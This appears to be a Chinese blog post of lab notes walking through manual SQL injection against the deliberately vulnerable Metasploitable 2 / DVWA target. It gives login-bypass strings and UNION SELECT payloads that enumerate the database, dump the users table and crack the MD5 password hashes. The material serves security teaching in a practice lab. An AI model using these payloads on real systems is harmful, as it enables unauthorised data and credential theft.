1,SQL注入,查看服务器系统,拿到账号密码。

任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)

笔记

靶机metasploitable-linux-2.0.0

  1. sql注入介绍
    服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
    也可以控制到客户端,也可以用sql注入上发文件,sql注入也读取文件
    其实注入的都是sql语句
    1.1.原理下面是一个比如无需密码登陆
    1.1.2.这个是正常情况下 SELECT * FROM users WHERE user=‘里面是用户输入的账号 AND password=‘里面是用户输入的密码‘
    1.1.3.注入无需密码登陆SELECT * FROM users WHERE user=‘账号还是原账号’ AND password=’‘空格OR’1’=‘1’
    上面那个输入密码的地方’‘空格OR’1’='1’意思介绍,‘空密码’ OR是逻辑运算符或1=1这两个数都是真条件就满足,满足就是真,账号对密码对就登陆成功了。
    应为服务器端没有过严格的过滤导致的注入

  2. 开始实验靶机metasploitable-linux-2.0.0
    正常情况下
    在这里插入图片描述
    在这里插入图片描述
    2.1.基于报错的检查方法
    ‘ “ % ( )
    判断报错就能判断是否访问数据库
    输入个’发现报错了说明可能带是叫‘带入了数据库
    在这里插入图片描述
    在这里插入图片描述
    2.2.基于布尔的检查方式
    1’ and ‘1’=‘1 或1’ and ‘1
    1’ and ‘1’=‘2 或1’ and ‘0
    2.2.1.使用1’ and ‘1’=‘1
    发现输入可以正常显示说明
    在这里插入图片描述
    应为1 然后 逻辑and或运算符1=1两个都是真所有可以正常显示
    下面是1=2为假数据库就报错了
    在这里插入图片描述
    and竟然是逻辑或那没就直接可以and '1这个也是真
    发现可以正常返回正常页面
    在这里插入图片描述
    2.3.查看sql语句查看了多少查询的字段
    查看字段可以进行进一步的的注入方法,每个查询的字段都有可能是我们注入更好的选择
    有的时候检查的有2个字段,但是字段是*的话 应为星的所有字段那么检查的时候可能会查询10几个或者是20几个
    下面那可以看到有2个字段
    在这里插入图片描述
    这个输入输入都一样‘ order by 要查询多少个语句 –
    如果查询错了那就返回页面报错
    在这里插入图片描述
    点击提交
    在这里插入图片描述
    发现抱错了,抱错说明不是50个字段
    在这里插入图片描述
    然后在9,发现也报错了,说明也不是9字段
    在这里插入图片描述
    然后在2发现没有返回任何东西,说明是2个字段,要是1也不会返回任何东西只能是大于才进行报错
    在这里插入图片描述
    可以用burp工具
    2.4.联合查询union 和union all
    2.4.1.union
    使用union来选择查询
    ’ union select 1,2 -- ‘ 最后是有个空格的自己加上,上面我已经知道有2个所以这个我就选择查询1到2个
    第一个’是进行给前面闭合的,后面–是注释的符号
    在这里插入图片描述
    下面是演示叫字段显示出来
    在这里插入图片描述
    2.4.2查询用户1'union select user(),2 -- 最后是有个空格的自己加上,
    这个user()查询当前用户
    2还是查询2个字段
    在这里插入图片描述

    看一下结果
    在这里插入图片描述
    下面都是利用这2个这个字段来进行查询的
    2.4.3.查看版本
    ' union select user() ,version() -- 最后是有个空格的自己加上,下面介绍
    version()是sql函数他是查看版本的
    看一下结果
    在这里插入图片描述
    2.4.4.查看当前目录
    ' union select user() ,@@datadir -- 最后是有个空格的自己加上,下面介绍
    @@datadir 是查看当前目录
    看一下结果
    在这里插入图片描述

    2.4.5.查看目标电脑用户名
    ' union select user() ,@@hostname -- 最后是有个空格的自己加上,下面介绍
    @@hostname是查看电脑用户名
    看一下结果
    在这里插入图片描述
    2.4.6.查看系统
    ' union select user() ,@@version_compile_os -- 最后是有个空格的自己加上,下面介绍
    @@version_compile_os是查看系统类型的
    看一下结果
    在这里插入图片描述
    2.4.7.叫所有的函数放到一个字段里
    ' union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) -- 最后是有个空格的自己加上,下面介绍
    CONCAT_WS()是叫函数连接起来
    查看一下结果
    在这里插入图片描述
    2.5.mysq查看linformation_schema内容
    库和表都在linformation_schema进行联合查询库库内容
    2.5.1.' union select table_name,table_schema from information_schema.tables-- 最后是有个空格的自己加上,下面介绍
    查看 information_schema所有的内容,
    第一个字段是table_name
    第二个字段是table_schema from information_schema.tables
    用的是table_schema这个字段 from是查询查询那个查询的是 information_schema
    看一下结果
    在这里插入图片描述
    2.5.2.统计一下所有的库和表的数量
    ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 最后是有个空格的自己加上,下面介绍

    schema是查看库然后用count(*) 来计数计算的是information_Schema的表,
    看一下结果
    在这里插入图片描述

    我发现存在一个漏洞都可以叫所有库和表都能查出来
    2.5.3.查看DVWA库里面的表
    ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-- 最后是有个空格的自己加上,下面介绍
    在前面基础加上了where table_schema='dvwa’意思是只查dvwa库
    看一下结果
    可以看的有个users的表名里面可能放着用户密码,users是最有可能怀疑的对象
    在这里插入图片描述
    2.5.4.查看users表里面的列
    ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’-- 最后是有个空格的自己加上,下面介绍
    where table_schema='dvwa’在这个dvwa查看users表里都有什么列
    看一下结果
    发现了 user里面可能放着账号
    发现了password里面可能放着密码
    在这里插入图片描述

    2.5.5.查看 user列和password列的内容
    ' union select user,password from dvwa.users-- 最后是有个空格的自己加上,下面介绍
    user,password 查看user里的password
    dvwa.users查看dvwa里的users
    看一下结果
    可以看的列出来了的所有的用户和密码
    密码被加密了
    在这里插入图片描述
    下面是进行解码

  3. 解密
    下面是进行解密上面的怀疑是哈希值的
    用hash-identifier工具进行看看是什么进加密的,这个工具kali自带
    在这里插入图片描述
    发现是MD5
    在这里插入图片描述
    可以去百度进行md5解码
    可以看见密码了
    在这里插入图片描述

作者QQ2737977997

发布了41 篇原创文章 · 获赞 15 · 访问量 8877

猜你喜欢

转载自blog.csdn.net/qq_41860876/article/details/101381226